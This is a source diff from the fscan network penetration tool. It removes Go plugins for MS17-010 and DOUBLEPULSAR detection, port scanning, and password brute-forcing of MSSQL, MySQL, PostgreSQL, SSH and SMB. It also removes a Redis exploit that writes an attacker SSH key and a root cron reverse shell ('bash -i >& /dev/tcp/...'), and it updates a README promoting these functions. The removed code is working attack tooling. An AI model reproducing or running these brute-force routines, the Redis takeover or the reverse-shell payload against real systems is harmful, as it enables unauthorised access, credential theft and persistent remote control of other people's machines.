// two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "", -1)
break
}
}
}
}
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
// TODO change the ip in tree path though it doesn't matter
_, err = conn.Write(treeConnectRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
_, err = conn.Write(transNamedPipeRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
common.LogSuccess(result)
// detect present of DOUBLEPULSAR SMB implant
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
_, err = conn.Write(trans2SessionSetupRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if reply[34] == 0x51 {
//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
result := fmt.Sprintf("[+] %s has DOUBLEPULSAR SMB IMPLANT", ip)
common.LogSuccess(result)
}
} else {
result := fmt.Sprintf("[*] %s (%s)", ip, os)
common.LogSuccess(result)
}
return err
}
-54
View File
@@ -1,54 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MssqlScan(info *common.HostInfo) (tmperr error) {
starttime := time.Now().Unix()
for _, user := range common.Userdict["mssql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * info.Timeout) {
return err
}
}
}
}
return tmperr
}
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
db, err := sql.Open("mssql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mssql:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
-54
View File
@@ -1,54 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MysqlScan(info *common.HostInfo) (tmperr error) {
starttime := time.Now().Unix()
for _, user := range common.Userdict["mysql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * info.Timeout) {
return err
}
}
}
}
return tmperr
}
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host, Port, "mysql")
db, err := sql.Open("mysql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mysql:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
-83
View File
@@ -1,83 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strconv"
"sync"
"time"
)
type Addr struct {
ip string
port int
}
func PortScan(hostslist []string, ports string, timeout int64) []string {
var AliveAddress []string
probePorts := common.ParsePort(ports)
noPorts := common.ParsePort(common.NoPorts)
if len(noPorts) > 0 {
tmp := make(map[int]struct{})
var tmpPorts []int
for _, port := range probePorts {
for _, noport := range noPorts {
if port != noport {
if _, ok := tmp[port]; !ok {
tmp[port] = struct{}{}
tmpPorts = append(tmpPorts, port)
}
}
}
}
probePorts = tmpPorts
}
workers := common.Threads
Addrs := make(chan Addr)
results := make(chan string)
var wg sync.WaitGroup
//接收结果
go func() {
for found := range results {
AliveAddress = append(AliveAddress, found)
wg.Done()
}
}()
//多线程扫描
for i := 0; i < workers; i++ {
go func() {
for addr := range Addrs {
PortConnect(addr, results, timeout, &wg)
wg.Done()
}
}()
}
//添加扫描目标
for _, port := range probePorts {
for _, host := range hostslist {
wg.Add(1)
Addrs <- Addr{host, port}
}
}
wg.Wait()
close(Addrs)
close(results)
return AliveAddress
}
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
host, port := addr.ip, addr.port
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
if err == nil {
con.Close()
address := host + ":" + strconv.Itoa(port)
result := fmt.Sprintf("%s open", address)
common.LogSuccess(result)
respondingHosts <- address
wg.Add(1)
}
}
-52
View File
@@ -1,52 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func PostgresScan(info *common.HostInfo) (tmperr error) {
starttime := time.Now().Unix()
for _, user := range common.Userdict["postgresql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1)
flag, err := PostgresConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * info.Timeout) {
return err
}
}
}
}
return tmperr
}
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
db, err := sql.Open("postgres", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("Postgres:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
-354
View File
@@ -1,354 +0,0 @@
package Plugins
import (
"bufio"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"os"
"strings"
"time"
)
func RedisScan(info *common.HostInfo) (tmperr error) {
starttime := time.Now().Unix()
flag, err := RedisUnauth(info)
if flag == true && err == nil {
return err
}
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * info.Timeout) {
return err
}
}
}
return tmperr
}
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "+OK") {
result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
common.LogSuccess(result)
flag = true
err = Expoilt(realhost, conn)
}
return flag, err
}
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "redis_version") {
result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
common.LogSuccess(result)
flag = true
err = Expoilt(realhost, conn)
}
return flag, err
}
func Expoilt(realhost string, conn net.Conn) error {
dbfilename, dir, err := getconfig(conn)
if err != nil {
return err
}
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
return err
}
if flagSsh == true {
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
common.LogSuccess(result)
if common.RedisFile != "" {
writeok, text, err := writekey(conn, common.RedisFile)
if err != nil {
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
return err
}
if writeok {
result := fmt.Sprintf("[+] %v SSH public key was written successfully", realhost)
common.LogSuccess(result)
} else {
fmt.Println("Redis:", realhost, "SSHPUB write failed", text)
}
}
}
if flagCron == true {
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
common.LogSuccess(result)
if common.RedisShell != "" {
writeok, text, err := writecron(conn, common.RedisShell)
if err != nil {
return err
}
if writeok {
result := fmt.Sprintf("[+] %v /var/spool/cron/root was written successfully", realhost)
common.LogSuccess(result)
} else {
fmt.Println("[-] Redis:", realhost, "cron write failed", text)
}
}
}
err = recoverdb(dbfilename, dir, conn)
return err
}
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("Open %s error, %v", filename, err)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("the keyfile %s is empty", filename)
return flag, text, err
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
func Readfile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
func readreply(conn net.Conn) (result string, err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result += string(buf[0:count])
if count < 4096 {
break
}
}
return result, err
}
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
var text string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flag = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flagCron = true
}
return flag, flagCron, err
}
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
if err != nil {
return
}
text, err := readreply(conn)
if err != nil {
return
}
text1 := strings.Split(text, "\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
if err != nil {
return
}
text, err = readreply(conn)
if err != nil {
return
}
text1 = strings.Split(text, "\n")
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
dir = text1[0]
}
return
}
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
if err != nil {
return
}
dbfilename, err = readreply(conn)
if err != nil {
return
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil {
return
}
dir, err = readreply(conn)
if err != nil {
return
}
return
}
-113
View File
@@ -1,113 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/common"
"reflect"
"strconv"
"strings"
"sync"
)
func Scan(info common.HostInfo) {
fmt.Println("start infoscan")
Hosts, _ := common.ParseIP(info.Host, common.HostFile)
WebScan.Inithttp(common.Pocinfo)
var ch = make(chan struct{}, common.Threads)
var wg = sync.WaitGroup{}
if len(Hosts) > 0 {
if common.IsPing == false {
Hosts = ICMPRun(Hosts, common.Ping)
fmt.Println("icmp alive hosts len is:", len(Hosts))
}
if info.Scantype == "icmp" {
return
}
AlivePorts := PortScan(Hosts, info.Ports, info.Timeout)
fmt.Println("alive ports len is:", len(AlivePorts))
if info.Scantype == "portscan" {
return
}
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port))
}
fmt.Println("start vulscan")
for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if info.Scantype == "all" {
if info.Ports == "445" { //scan more vul
AddScan("1000001", info, ch, &wg)
AddScan("1000002", info, ch, &wg)
} else if IsContain(severports, info.Ports) {
AddScan(info.Ports, info, ch, &wg)
} else {
AddScan("1000003", info, ch, &wg) //webtitle
}
} else {
port, _ := common.PORTList[info.Scantype]
scantype := strconv.Itoa(port)
AddScan(scantype, info, ch, &wg)
}
}
}
if common.URL != "" {
info.Url = common.URL
AddScan("1000003", info, ch, &wg)
}
if len(common.Urls) > 0 {
for _, url := range common.Urls {
info.Url = url
AddScan("1000003", info, ch, &wg)
}
}
wg.Wait()
common.LogWG.Wait()
close(common.Results)
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
}
var Mutex = &sync.Mutex{}
func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
wg.Add(1)
go func() {
Mutex.Lock()
common.Num += 1
Mutex.Unlock()
ScanFunc(PluginList, scantype, &info)
wg.Done()
Mutex.Lock()
common.End += 1
Mutex.Unlock()
<-ch
}()
ch <- struct{}{}
}
func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
f := reflect.ValueOf(m[name])
if len(infos) != f.Type().NumIn() {
err = errors.New("The number of infos is not adapted ")
fmt.Println(err.Error())
return result, nil
}
in := make([]reflect.Value, len(infos))
for k, info := range infos {
in[k] = reflect.ValueOf(info)
}
result = f.Call(in)
return result, nil
}
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}
-77
View File
@@ -1,77 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
"strings"
"time"
)
func SmbScan(info *common.HostInfo) (tmperr error) {
starttime := time.Now().Unix()
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := doWithTimeOut(info, user, pass)
if flag == true && err == nil {
var result string
if info.Domain != "" {
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
} else {
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
}
common.LogSuccess(result)
return err
} else {
errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * info.Timeout) {
return err
}
}
}
}
return tmperr
}
func SmblConn(info *common.HostInfo, user string, pass string, Domain string, signal chan struct{}) (flag bool, err error) {
flag = false
Host, Username, Password := info.Host, user, pass
options := smb.Options{
Host: Host,
Port: 445,
User: Username,
Password: Password,
Domain: Domain,
Workstation: "",
}
session, err := smb.NewSession(options, false)
if err == nil {
session.Close()
if session.IsAuthenticated {
flag = true
}
}
signal <- struct{}{}
return flag, err
}
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
go func() {
flag, err = SmblConn(info, user, pass, info.Domain, signal)
}()
select {
case <-signal:
return flag, err
case <-time.After(time.Duration(info.Timeout) * time.Second):
return false, err
}
}
-69
View File
@@ -1,69 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"net"
"strings"
"time"
)
func SshScan(info *common.HostInfo) (tmperr error) {
starttime := time.Now().Unix()
for _, user := range common.Userdict["ssh"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := SshConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * info.Timeout) {
return err
}
}
}
}
return tmperr
}
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
config := &ssh.ClientConfig{
User: Username,
Auth: []ssh.AuthMethod{
ssh.Password(Password),
},
Timeout: time.Duration(info.Timeout) * time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
}
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config)
if err == nil {
defer client.Close()
session, err := client.NewSession()
if err == nil {
defer session.Close()
flag = true
if info.Command != "" {
combo, _ := session.CombinedOutput(info.Command)
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
common.LogSuccess(result)
} else {
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
}
}
}
return flag, err
}
-216
View File
@@ -1,216 +0,0 @@
package Plugins
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/html/charset"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
"io/ioutil"
"net/http"
"net/url"
"regexp"
"strings"
)
var (
Charsets = []string{"utf-8", "gbk", "gb2312"}
)
func WebTitle(info *common.HostInfo) error {
err := GOWebTitle(info)
if err != nil {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog)
}
return err
}
//flag 1 first try
//flag 2 /favicon.ico
//flag 3 302
//flag 4 400 -> https
func GOWebTitle(info *common.HostInfo) error {
var CheckData []WebScan.CheckDatas
if info.Url == "" {
if info.Ports == "80" {
info.Url = fmt.Sprintf("http://%s", info.Host)
} else if info.Ports == "443" {
info.Url = fmt.Sprintf("https://%s", info.Host)
} else {
info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
}
} else {
if !strings.Contains(info.Url, "://") {
info.Url = fmt.Sprintf("http://%s", info.Url)
}
}
err, result, CheckData := geturl(info, 1, CheckData)
if err != nil {
return err
}
if strings.Contains(result, "://") {
//有跳转
redirecturl, err := url.Parse(result)
if err == nil {
info.Url = redirecturl.String()
err, result, CheckData = geturl(info, 3, CheckData)
if err != nil {
return err
}
}
}
if result == "https" {
err, result, CheckData = geturl(info, 1, CheckData)
if strings.Contains(result, "://") {
//有跳转
redirecturl, err := url.Parse(result)
if err == nil {
info.Url = redirecturl.String()
err, result, CheckData = geturl(info, 3, CheckData)
if err != nil {
return err
}
}
} else {
if err != nil {
return err
}
}
}
err, _, CheckData = geturl(info, 2, CheckData)
if err != nil {
return err
}
WebScan.InfoCheck(info.Url, CheckData)
if common.IsWebCan == false {
WebScan.WebScan(info)
}
return err
}
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
Url := info.Url
if flag == 2 {
URL, err := url.Parse(Url)
if err == nil {
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
} else {
Url += "/favicon.ico"
}
}
res, err := http.NewRequest("GET", Url, nil)
if err == nil {
res.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Set("Accept", "*/*")
res.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if common.Pocinfo.Cookie != "" {
res.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
} else {
res.Header.Set("Cookie", "rememberMe=1")
}
res.Header.Set("Connection", "close")
var client *http.Client
if flag == 1 {
client = lib.ClientNoRedirect
} else {
client = lib.Client
}
resp, err := client.Do(res)
if err == nil {
defer resp.Body.Close()
var title string
body, _ := ioutil.ReadAll(resp.Body)
if flag != 2 {
re := regexp.MustCompile("(?im)<title>(.*)</title>")
find := re.FindSubmatch(body)
if len(find) > 1 {
text := find[1]
GetEncoding := func() string { // 判断Content-Type
r1, err := regexp.Compile(`(?im)charset=\s*?([\w-]+)`)
if err != nil {
return ""
}
headerCharset := r1.FindString(resp.Header.Get("Content-Type"))
if headerCharset != "" {
for _, v := range Charsets { // headers 编码优先,所以放在前面
if strings.Contains(strings.ToLower(headerCharset), v) == true {
return v
}
}
}
r2, err := regexp.Compile(`(?im)<meta.*?charset=['"]?([\w-]+)["']?.*?>`)
if err != nil {
return ""
}
htmlCharset := r2.FindString(string(body))
if htmlCharset != "" {
for _, v := range Charsets {
if strings.Contains(strings.ToLower(htmlCharset), v) == true {
return v
}
}
}
return ""
}
encoding := GetEncoding()
_, charsetName, _ := charset.DetermineEncoding(body, "")
if encoding == "gbk" || encoding == "gb2312" || charsetName == "gbk" {
titleGBK, err := Decodegbk(text)
if err == nil {
title = string(titleGBK)
}
} else {
title = string(text)
}
} else {
title = "None"
}
title = strings.Trim(title, "\r\n \t")
title = strings.Replace(title, "\n", "", -1)
title = strings.Replace(title, "\r", "", -1)
title = strings.Replace(title, "&nbsp;", " ", -1)
if len(title) > 100 {
title = title[:100]
}
result := fmt.Sprintf("[*] WebTitle:%-25v %-3v %v", Url, resp.StatusCode, title)
common.LogSuccess(result)
}
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
redirURL, err1 := resp.Location()
if err1 == nil {
return nil, redirURL.String(), CheckData
}
if resp.StatusCode == 400 && info.Url[:5] != "https" {
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
return err, "https", CheckData
}
return err, "", CheckData
}
return err, "", CheckData
}
return err, "", CheckData
}
func Decodegbk(s []byte) ([]byte, error) { // GBK解码
I := bytes.NewReader(s)
O := transform.NewReader(I, simplifiedchinese.GBK.NewDecoder())
d, e := ioutil.ReadAll(O)
if e != nil {
return nil, e
}
return d, nil
}
+256 -124
View File
@@ -1,120 +1,189 @@
# fscan
# Fscan 2.0.0
[English][url-docen]
# 简介
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
# 0x01 简介
一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。
## 主要功能
1.信息搜集:
* 存活探测(icmp)
* 端口扫描
2.爆破功能:
* 各类服务爆破(ssh、smb等)
* 数据库密码爆破(mysql、mssql、redis、psql等)
- 主机存活探测:快速识别内网中的活跃主机
- 端口扫描:全面检测目标主机开放端口
- 服务爆破:支持对常见服务进行密码爆破测试
- 漏洞利用:集成MS17-010等高危漏洞检测
- Redis利用:支持批量写入公钥进行权限获取
- 系统信息收集:可读取Windows网卡信息
- Web应用检测:
- Web指纹识别
- Web漏洞扫描
- 域环境探测:
- NetBIOS信息获取
- 域控制器识别
- 后渗透功能:支持通过计划任务实现反弹shell
3.系统信息、漏洞扫描:
* netbios探测、域控识别
* 获取目标网卡信息
* 高危漏洞扫描(ms17010等)
# 0x02 主要功能
## 1. 信息搜集
- 基于ICMP的主机存活探测:快速识别网络中的活跃主机设备
- 全面的端口扫描:系统地检测目标主机的开放端口情况
4.Web探测功能:
* webtitle探测
* web指纹识别(常见cms、oa框架等)
* web漏洞扫描(weblogic、st2等,支持xray的poc)
## 2. 爆破功能
- 常用服务密码爆破:支持SSH、SMB、RDP等多种协议的身份认证测试
- 数据库密码爆破:覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等主流数据库系统
5.漏洞利用:
* redis写公钥或写计划任务
* ssh命令执行
## 3. 系统信息与漏洞扫描
- 网络信息收集:包括NetBIOS探测和域控制器识别
- 系统信息获取:能够读取目标系统网卡配置信息
- 安全漏洞检测:支持MS17-010等高危漏洞的识别与检测
6.其他功能:
* 文件保存
## 4. Web应用探测
- 网站信息收集:自动获取网站标题信息
- Web指纹识别:可识别常见CMS系统与OA框架
- 漏洞扫描能力:集成WebLogic、Struts2等漏洞检测,兼容XRay POC
## usege
简单用法
```
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)
## 5. 漏洞利用模块
- Redis利用:支持写入公钥或植入计划任务
- SSH远程执行:提供SSH命令执行功能
- MS17-010利用:支持ShellCode注入,可实现添加用户等操作
## 6. 辅助功能
- 扫描结果存储:将所有检测结果保存至文件,便于后续分析
# 0x03 使用说明
## 基础用法
```bash
# 默认扫描(使用全部模块)
fscan.exe -h 192.168.1.1/24
# B段扫描
fscan.exe -h 192.168.1.1/16
```
其他用法
```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
